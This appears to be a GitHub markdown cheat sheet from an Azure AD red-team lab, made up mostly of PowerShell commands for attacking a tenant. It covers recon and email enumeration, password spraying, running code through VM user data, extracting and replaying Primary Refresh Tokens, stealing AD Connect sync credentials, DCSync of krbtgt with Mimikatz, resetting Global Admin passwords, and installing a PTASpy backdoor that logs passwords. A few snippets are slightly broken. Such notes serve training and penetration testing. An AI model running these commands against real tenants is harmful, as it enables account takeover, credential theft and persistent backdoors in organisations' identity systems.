Skip to content

Commands.md

Latest commit

 

History

History
311 lines (263 loc) · 8.98 KB

Commands.md

File metadata and controls

311 lines (263 loc) · 8.98 KB
Raw

Commands

dsregcmd /status

Some Microsoft Portals

https://msportals.io/

Using Tokens with APIs - ARM

  • Subscription ID
$Token = 'eyJ0eXAi.......'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
	}
}

(Invoke-RestMethod @RequestParams).value
  • List all resources accessible for the managed identity assigned to the app service.
$Token = 'eyJ0eX..' 
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049- 8c11-d52d5d388768/resources?api-version=2020-10-01' 
$RequestParams = @{ 
	Method = 'GET' 
	Uri = $URI 
	Headers = @{ 
		'Authorization' = "Bearer $Token" 
	} 
} 
(Invoke-RestMethod @RequestParams).value
  • Let's see what actions are allowed using the below code:
$Token = 'eyJ0eX..' 
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049- 8c11- d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/vir tualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions ?api-version=2015-07-01' 
$RequestParams = @{
	Method = 'GET' 
	Uri = $URI 
	Headers = @{
		'Authorization' = "Bearer $Token"
	} 
} 
(Invoke-RestMethod @RequestParams).value

Using Tokens with APIs - MS Graph

$Token = 'eyJ0eXAi..' 
$URI = 'https://graph.microsoft.com/v1.0/users' 
$RequestParams = @{ 
	Method = 'GET' 
	Uri = $URI 
	Headers = @{ 
		'Authorization' = "Bearer $Token" 
		} 
	} 

(Invoke-RestMethod @RequestParams).value

Request_ARN_Token

$Token = 'eyJ0eX...'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
	}
}
(Invoke-RestMethod @RequestParams).value

Request_AAD_Graph_Token

$Token = 'eyJ0eX...'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/bkpadconnect/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
	Method = 'GET'
	Uri = $URI
	Headers = @{
		'Authorization' = "Bearer $Token"
		}
	}
(Invoke-RestMethod).value

Discovery And Recon - Azure Tenant

Get if Azure tenant is in use, tenant name and Federation

https://login.microsoftonline.com/getuserrealm.srf?login=%5bUSERNAME@DOMAIN%5d&xml=1

Get the Tenant ID

https://login.microsoftonline.com/%5bDOMAIN%5d/.well-known/openid-configuration

Validate Email ID by sending requests to

https://login.microsoftonline.com/common/GetCredentialType

AADInternals tool

https://github.com/Gerenios/AADInternals It is a PowerShell module that we will use for multiple attacks against AzureAD.

Import-Module C:\AzAD\Tools\AADInternals\AADInternals.psd1 -Verbose

Get tenant ID

Get-AADIntTenantID -Domain defcorphq.onmicrosoft.com

Get tenant domains

Get-AADIntTenantDomains -Domain defcorphq.onmicrosoft.com
Get-AADIntTenantDomains -Domain deffin.onmicrosoft.com

Get all the information

Invoke-AADIntReconAsOutsider -DomainName defcorphq.onmicrosoft.com

Discovery and Recon - Email IDs

o365creeper https://github.com/LMGsec/o365creeper It makes requests to the GetCredentialType API

C:\Python27\python.exe
C:\AzAD\Tools\o365creeper\o365creeper.py -f
C:\AzAD\Tools\emails.txt -o
C:\AzAD\Tools\validemails.txt

Discovery and Recon - Azure Services

Azure services are available at specific domains and subdomains We can enumerate if the target organization is using any of the services by looking for such subdomains.

MicroBurst https://github.com/NetSPI/MicroBurst

MicroBurst uses Az, AzureAD, AzurRM and MSOL tools and additional REST API calls.

Import-Module C:\AzAD\Tools\MicroBurst\MicroBurst.psm1 -Verbose

Enumerate all subdomains for an organization specified using the -Base parameter;

Invoke-EnumerateAzureSubDomains -Base defcorphq -Verbose

Brute-Force with MSOL Spray

Password Spray/Brute-Force MSOLSpray supports fireprox to rotate source IP address on auth request.

MSOLSpray https://github.com/dafthack/MSOLSpray Fireprox https://github.com/ustayready/fireprox

Azure_VMs_User Data_Abuse

  • Retrieve User Data
$userData = Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userdata?api-version=2021-01-01&format=test"

[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))
  • Modify User Data
  • It is possible to modify user data with permissions Microsoft.Compute/virtualMachines/write
$data = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes("whoami"))
$accesstoken = (Get-AccessToken).Token
$url = "https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-
d52d5d388768/resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/jumpvm?api-version=2021-07-01"
$body = @{
	@{
		location = "Germany West Central"
		properties = @{
			userData = "$data"
		}
	}
} | ConvertTo-Json -Dept 4

$headers = @{
	Authorization = "Bearer $accesstoken"
}

#Execute Rest API Call
$Results = Invoke-RestMethod -Method Put -Uri $url -Body $body -Headers $headers -ContentType 'application/json'

Azure_VMs_Custom_Script_Extension_Abuse

  • Following permissions are required to create a custom script extension and read the output:
Microsoft.Compute/virtualMachines/extensions/write
Microsoft.Compute/virtualMachines/extensions/read

Lateral_Movement_Pass-the-PRT

Extracting_PRT

  • Azure AD makes use of nonce for request validation. We need to request a nonce to extract PRT:
$TenantId = ""
$URL = "https://login.microsoftonline.com/$TenantId/oath2/token"
$Params = @{
	"URI" = $URL
	"Method" = "POST"
}

$Body = @{
	"grant_type" = "srv_challenge"
}

$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
  • We can extract PRT by running the below tools in a session of the target Azure AD user: ROADToken
C:\AzAD\Tools\ROADToken.exe <nonce>

# AADInternals
Get-AADIntUserPRTToken
  • Mimikatz is not able to extract PRT post August 2021 fixes.

Once we have the PRT, copy the value from previous command and use it with Chrome Web Browser. - Open the browser in Incognito mode - Go to https://login.microsoftonline.com/login.srf - Press F12 -> Application -> Cookies - Clear all cookies and then add one named x-ms-RefreshTokenCredential for the website and set its value to that retrieved from AADInternals - Mark HTTPOnly and Secure for the cookie - Visit `https://microsoftonline.com/login.srf again and we will get access as the user.

PSH

Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl

# or
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
  • Azure AD connect server compromised extract credential
Get-AADIntSyncCredentials
  • Using the creds of MSOL_* account we can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_782bef6aa0a9 cmd Invoke-Mimikatz -Command '"lsadump::dcsync /user:defeng\krbtgt /domain:defeng.com /dc:defeng-dc.defeng.com"'
  • Using the creds f Sync_* account, we can reset password for any user (including Global Administrators and even the user who created the tenant)
$passwd = ConvertTo-SecureString '<password>' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("Sync_DEFENG-ADCNCT_782bef6aa0a9@defcorpsecure.onmicrosoft.com",$passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds -SaveToCache

Enumerate Global Admins

Get-AADIntGlobalAdmins

To reset the password of an on-prem user that is syced to Azure AD we need the ImmutableId for the user.

Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId

Finally reset the user's password. The CloudAnchor is of the format USER_ObjectID

Set-AADIntUserPassword -SourceAnchor "E2gG19HA4EaDe0+3LkcS5g==" -Password "SuperSecretpass#12321" -Verbose

Skeleton_Key

Azure AD Connect Server Running PTA Agent run the following command from AADInternals to insert a backdoor. (Needs to be run as Administrator and needs VC++)

Install-AADIntPTASpy
Get-AADIntPTASpyLog -DecodePasswords

# C:\PTASpy

ImmutableID

  • From any on-prem machine as a normal domain user get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity onpremuser | select -ExpandProperty ObjectGUID).tobytearray())
  • On the AD FS server (as administrator)
Get-AdfsProperties | select identifier
  • Check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri